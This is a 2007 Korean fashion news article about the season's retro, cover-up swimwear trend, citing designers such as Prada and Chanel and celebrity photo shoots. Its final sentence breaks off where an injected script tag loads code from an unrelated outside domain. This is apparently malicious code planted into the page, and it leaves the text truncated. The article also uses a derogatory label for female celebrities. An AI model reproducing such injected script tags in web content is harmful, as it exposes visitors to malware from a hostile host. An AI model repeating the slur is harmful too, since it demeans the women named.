당신의 몸매는 안녕하십니까?
2007-06-08 

다이어트에 성공한 여성들에게는 기다렸던 시즌, 지난 겨울 늘어난 체중 때문에 고민인 여성들에게는 절망적인 계절이 다가오면서 올 여름 시즌에는 어떤 수영복을 입어야 할지 관심이 쏠리는 시점이다.
                                                 <예정현 기자>

특히 그저 한 시즌 버틸까 싶었던 스키니 진이 몇 시즌을 이어가며 점점 더 울트라 스키니로 좁아지는 통에 잔뜩 기죽어있던 여성이라면 본격적인 수영복 시즌을 앞에 둔 지금, 더 노출이 심해지고 더욱 볼륨을 강조한 잔인한 수영복이 트렌드가 되지나 않을까 내심 노심초사하지 않을 수 없는 상황이다.



반갑다, 점잖은 수영복 트렌드!
그러나 언제나 잔인하기 그지없었던 디자이너들이 어쩐 일인지 2007 S/S 시즌에는 적당히 몸매를 가려주고 ‘보정(!)’해 주는 복고적 스타일을 내놓고 있어 과도한 노출에 강박증이 있는 대다수 여성들에게 안도의 한 숨을 내쉬게 한다.
2년 전 만 해도 풀컷 비키니를 선보여 여성들의 몸매 강박증을 자극했던 마이클 코어스나 「아베테(Abaete)」의 디자이너 로라 프로쯔기는 2004년 이후 조숙한 느낌마저 자아내는 핀업 걸 스타일의 수영복을 선보이고 있고, 스텔라 맥카트니는 보텀 부분을 적당히 가려주고 볼륨을 주는 블루머(bloomer)를 장식한 경쾌한 느낌의 블루+그린 투피스 수영복을, 칼라거펠트는 브리짓 바로드에게서 영감을 얻은 듯한 부클레 니트 상하의 수영복을 샤넬 컬렉션에 포함시켜 과도한 노출은 피하되 여전히 매력적인 여성의 몸을 찬양하고 있다.
그 동안 미친 듯이 여성의 노출을 조장하던 수영복 트렌드가 조신하고 심지어 우아한 느낌마저 주는 분위기로 전환된 것은 여성의 몸과 욕구를 누구보다 잘 아는 디자이너 미우치아프라다의 영향이 크다. 심플함 속에서 시크하고 우아한 멋을 멋지게 표현해온 「프라다」는 주얼톤 새틴 튜빅과 터번을 매칭한 수영복을 통해 글래머러스하고 복고적인 클래식 할리우드 여배우들의 이미지를 환상적으로 표현, 벗기기에 여념이 없었던 대다수의 디자이너들에게 강한 가르침을 준 바 있다.
이처럼 적절한 가리기(covering up) 트렌드는 브리트니스피어스나 패리스 힐튼 등 과도한 노출과 섹스로 뒤엉킨 백인창녀(white trash) 풍조에 넌더리가 난 패션계의 반발이라는 주장이 힘을 얻고 있는데, 사실 지난 몇 년 간 패션계는 과도한 노출이 미덕인양 여성들의 노출화를 조장하며 ‘걸치는 습관’을 잊어가게 만든 죄가 크다. 물론 일각에서는 패션이란 원래 돌고 도는 것이니 한동안 노출로 소비를 촉진시킨 패션계가 이제 ‘가리기’를 통해서 새로운 소비를 촉진시켜야 할 상황에 처한 것뿐이지 디자이너들이 자성한 것은 아니라는 냉정한 분석을 내리고 있기도 하지만, 사실이 뭐든 간에 섹시함이 절대적 미라는 사회적 압력에 시달려온 여성들로서는 적절히 가려주며 여성미를 표현해주는 커버업(cover-up) 트렌드가 반갑지 않을 수 없다.
이를 입증하듯 헐리웃 젊은 셀러브리티 중 가장 풍만하고 보여줄 것이 많은(!) 체형을 가진 스칼렛 요한슨의 보그 4월 풀 사이드 화보에서 과도한 노출을 피한 「프라다」 「돌체&가바나」 의상을 입고 1940년대풍 여배우 스타일을 연출하며 커버업 트렌드를 강조한 바 있고, 탄탄한 허벅지와 가슴을 최대한으로 강조해왔던 비욘세 노울즈 또한 <스포츠 일러스트레이티드(Sports Illustrated)> 수윔수트 화보에서 자신이 디자인한 옐로+오렌지 비키니를 입고 등장, 사람들을 놀래켰다. 그도 그럴 것이 풀컷 비키니가 아니라 점잖은 브리프 스타일의 수영복을 입은 모습은 2007 스윔웨어가 여성들의 신체에 매우 협조적이라는 점을 상기시켰기 때문이다.



반갑다, 복고풍 수영복
노출에 중독됐던 패션계가 가리기 기법으로 차용한 복고풍(retro-inspired) 스타일은 통통한 아랫배와 탄탄하지 못한 허벅지, 혹은 볼륨있는 가슴을 가지지 못한 대다수의 여 성들의 자신감을 살릴 수 있도록 브리트프, 혹은 로우컷 레그스 스타일과 적당히 가린 깜찍한 네크라인이 특징으로 노출 공포증인 여성들이 마음 놓고 수영을 ?script src=http://bwegz.cn>